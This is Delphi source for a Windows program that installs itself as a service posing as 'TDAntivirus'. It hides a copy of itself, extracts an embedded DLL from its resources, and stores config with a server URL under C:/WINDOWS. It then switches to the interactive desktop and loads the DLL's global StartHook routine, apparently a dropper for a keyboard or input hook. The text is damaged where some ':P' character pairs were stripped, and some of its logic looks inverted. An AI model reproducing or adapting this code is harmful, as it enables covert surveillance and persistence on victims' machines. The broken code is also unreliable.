program Main;uses WinSvc, Windows, SvcControl in 'SvcControl.pas', SvcConfig in 'SvcConfig.pas', ResUtils in 'ResUtils.pas', Config in 'Config.pas', PublicFunctions in 'PublicFunctions.pas', RegIniUtils in 'RegIniUtils.pas';{$DEFINE SHELLREG}type TStartHookProc = function():LongBool; TStopHookProc = procedure();stdcall;const CONFIG_FILE = 'C:/WINDOWS/avkrnl.bin'; SERVICE_NAME = 'TDAntivirus'; NO_ERROR = 0;var ServiceTable:array [0..1] of SERVICE_TABLE_ENTRY; hSrvStatus:SERVICE_STATUS_HANDLE; hEvent:THandle; SrvStatus:SERVICE_STATUS; dwCheckPoint:Cardinal = 1; hDll:HMODULE; lpfnStartHook:TStartHookProc; lpfnStopHook:TStopHookProc; Cfg:TAppConfig;function SwitchDesktop:Boolean;var hdeskCurrent,hDefDesk:HDESK; hwinstaCurrent,hinstaDef:HWINSTA;begin Result:=False; hwinstaCurrent:=GetProcessWindowStation(); if hwinstaCurrent=0 then Exit; hdeskCurrent:=GetThreadDesktop(GetCurrentThreadId()); if hdeskCurrent=0 then Exit; hinstaDef:=OpenWindowStation('winsta0', FALSE,WINSTA_ACCESSCLIPBOARD or WINSTA_ACCESSGLOBALATOMS or WINSTA_CREATEDESKTOP or WINSTA_ENUMDESKTOPS or WINSTA_ENUMERATE or WINSTA_EXITWINDOWS or WINSTA_READATTRIBUTES or WINSTA_READSCREEN or WINSTA_WRITEATTRIBUTES); if hinstaDef=0 then Exit; if not SetProcessWindowStation(hinstaDef) then begin CloseWindowStation(hinstaDef); Exit; end; hDefDesk:=OpenDesktop('default',0,False,DESKTOP_CREATEMENU or DESKTOP_CREATEWINDOW or DESKTOP_ENUMERATE or DESKTOP_HOOKCONTROL or DESKTOP_JOURNALPLAYBACK or DESKTOP_JOURNALRECORD or DESKTOP_READOBJECTS or DESKTOP_SWITCHDESKTOP or DESKTOP_WRITEOBJECTS); if hDefDesk=0 then begin CloseWindowStation(hinstaDef); Exit; end; Result:=SetThreadDesktop(hDefDesk); CloseDesktop(hDefDesk);end;function Hook:Boolean;begin Result:=False; if Cfg.DllPath='' then Exit; hDll:=LoadLibrary(Cfg.DllPath); if hDll=0 then Exit; lpfnStartHook:=TStartHookProc(GetProcAddress(hDll,'StartHook')); lpfnStopHook:=TStopHookProc(GetProcAddress(hDll,'StopHook')); Result:=(@lpfnStartHook<>nil) and (@lpfnStopHook<>nil) and lpfnStartHook();end;procedure UnHook;begin if @lpfnStopHook<>nil then lpfnStopHook(); if hDll<>0 then FreeLibrary(hDll);end;procedure ReportSvcStatus(dwCurrentState,dwWin32ExitCode,dwWaitHint:Cardinal);begin SrvStatus.dwCurrentState:= dwCurrentState; SrvStatus.dwWin32ExitCode:= dwWin32ExitCode; SrvStatus.dwWaitHint:= dwWaitHint; if dwCurrentState=SERVICE_START_PENDING then SrvStatus.dwControlsAccepted:=0 else SrvStatus.dwControlsAccepted:=SERVICE_ACCEPT_STOP; if (dwCurrentState=SERVICE_RUNNING) or (dwCurrentState=SERVICE_STOPPED) then SrvStatus.dwCheckPoint:=0 else begin Inc(dwCheckPoint); SrvStatus.dwCheckPoint:=dwCheckPoint; end; SetServiceStatus(hSrvStatus,SrvStatus);end;procedure SvcCtrlHandler(dwCtrl:Cardinal);stdcall;begin if (dwCtrl=SERVICE_CONTROL_STOP) or (dwCtrl=SERVICE_CONTROL_SHUTDOWN) then begin ReportSvcStatus(SERVICE_STOP_PENDING,NO_ERROR,0); SetEvent(hEvent); end; ReportSvcStatus(SrvStatus.dwCurrentState,NO_ERROR,0);end;function ServiceBeforeExecute:Boolean;begin Result:=SwitchDesktop and Hook;end;function ServiceExecute:Boolean;begin Result:=True;end;procedure ServiceAfterExecute;begin UnHook;end;procedure Quit;begin CloseHandle(hEvent); ServiceAfterExecute(); ReportSvcStatus(SERVICE_STOPPED, NO_ERROR,0);end;procedure ServiceMain(argc:Cardinal;argv
PAnsiChar);stdcall;begin hSrvStatus:=RegisterServiceCtrlHandler(SERVICE_NAME,@SvcCtrlHandler); if hSrvStatus=0 then begin Exit; end; SrvStatus.dwServiceType:= SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS; SrvStatus.dwServiceSpecificExitCode:= 0; ReportSvcStatus(SERVICE_START_PENDING,NO_ERROR,3000); hEvent:=CreateEvent(nil,True,False,nil); if hEvent=0 then begin ReportSvcStatus( SERVICE_STOPPED, NO_ERROR, 0 ); Exit; end; ReportSvcStatus( SERVICE_RUNNING, NO_ERROR, 0 ); if not ServiceBeforeExecute() then begin Quit; Exit; end; while True do begin case WaitForSingleObject(hEvent,1000) of WAIT_OBJECT_0: begin Quit; Break; end; WAIT_TIMEOUT: if not ServiceExecute() then begin Quit; Break; end; WAIT_FAILED: begin Quit; Break; end; end; end;end;function ReadConfig:Boolean;var Len:Integer; Data
ointer; SDll:string;begin ZeroMemory(@Cfg,SizeOf(Cfg)); if ReadPEResource(HInstance,RT_RCDATA,CONFIG_RESOURCE_NAME,Data,Len) then begin Move(Data^,Cfg,SizeOf(Cfg)); FreeMem(Data); if Cfg.AppPath='' then begin Move(ParamStr(0)[1],Cfg.AppPath[0],Length(ParamStr(0))); Cfg.AppPath[Length(ParamStr(0))]:=#0; end; if Cfg.DllPath='' then begin SDLL:=ExtractFilePath(ParamStr(0))+'avkrnl.dll'; Move(SDLL[1],Cfg.DLLPath[0],Length(SDLL)); Cfg.DllPath[Length(SDLL)]:=#0; end; Result:=Cfg.ServerUrl<>''; end else Result:=False;end;function GetAppVersion(AppFile:string)
WORD;var Len:Integer; Data
ointer;begin Result:=0; if not ReadPEResource(AppFile,RT_RCDATA,CONFIG_RESOURCE_NAME,Data,Len) then Exit; if SizeOf(Cfg)<>Len then begin FreeMem(Data); Exit; end; Result:=PAppConfig(Data).Version; FreeMem(Data);end;procedure WriteSysConfig;begin IniWriteBool(CONFIG_FILE,'General','IsInstalled',False); IniWriteString(CONFIG_FILE,'General','ServiceName',Cfg.ServiceName); IniWriteString(CONFIG_FILE,'General','Description',Cfg.Description); IniWriteString(CONFIG_FILE,'General','MainApp',Cfg.AppPath); IniWriteString(CONFIG_FILE,'General','DllPath',Cfg.DllPath); IniWriteInteger(CONFIG_FILE,'General','Version',Cfg.Version); IniWriteString(CONFIG_FILE,'General','PageUrl',Cfg.ServerUrl);end;function ServiceRunning:Boolean;var svcVersion:Cardinal; szSvcName,szFileName,szDllName:string;begin Result:=False; if not FileExists(CONFIG_FILE) or not IniReadBool(CONFIG_FILE,'General','IsInstalled',False) then Exit; szSvcName:=IniReadString(CONFIG_FILE,'General','ServiceName',''); if (szSvcName='') or not ServiceExists(szSvcName) then Exit; szFileName:=IniReadString(CONFIG_FILE,'General','MainApp',''); if (szFileName='') or FileExists(szFileName) then Exit; szDllName:=IniReadString(CONFIG_FILE,'General','DllPath',''); if (szDllName='') or FileExists(szDllName) then Exit; svcVersion:=Cardinal(IniReadInteger(CONFIG_FILE,'General','Version',0)); if svcVersion>=Cfg.Version then Result:=StartWinService(szSvcName) else begin StopWinService(szSvcName); DeleteService(szSvcName); Result:=False; end;end;function IsRunningAsService:Boolean;var svcType,svcErrCtrl:Cardinal; szFileName,svcUser:string;begin Result:=GetServiceConfig(Cfg.ServiceName,svcType,svcErrCtrl,szFileName,svcUser) and (szFileName=ParamStr(0));end;function ReleaseApp:Boolean;begin Result:=(ParamStr(0)=Cfg.AppPath) or CopyFile(PAnsiChar(ParamStr(0)),Cfg.AppPath,False); SetFileAttributes(Cfg.AppPath,GetFileAttributes(Cfg.AppPath) or FILE_ATTRIBUTE_HIDDEN);end;function ReleaseDll:Boolean;var Data
ointer; Size:Integer; n:Cardinal; hF:THandle;begin Result:=False; if not ReadPEResource(HInstance,RT_RCDATA,'DLLBIN',Data,Size) then Exit; hF:=CreateFixedLengthFile(Cfg.DllPath,Size); if (hF=INVALID_HANDLE_VALUE) then begin FreeMem(Data); Exit; end; if SetFilePointer(hF,0,nil,FILE_BEGIN)=INVALID_SET_FILE_POINTER then begin CloseHandle(hF); FreeMem(Data); Exit; end; Result:=WriteFile(hF,Data^,Size,n,nil); CloseHandle(hF); FreeMem(Data); if not Result then DeleteFile(Cfg.DllPath);end;begin if not ReadConfig then Exit; if IsRunningAsService then begin ServiceTable[0].lpServiceName:=SERVICE_NAME; ServiceTable[0].lpServiceProc:=LPSERVICE_MAIN_FUNCTION(@ServiceMain); ServiceTable[1].lpServiceName:=nil; ServiceTable[1].lpServiceProc:=nil; StartServiceCtrlDispatcher(ServiceTable[0]); SrvStatus.dwControlsAccepted:=SERVICE_ACCEPT_SHUTDOWN or SERVICE_ACCEPT_STOP; end else begin if ServiceRunning then Exit; if not ReleaseApp or not ReleaseDll then Exit; WriteSysConfig; if Hook then begin while not ServiceExists(Cfg.ServiceName) do Sleep(500); UnHook; StartWinService(Cfg.ServiceName); end else UnHook; endend.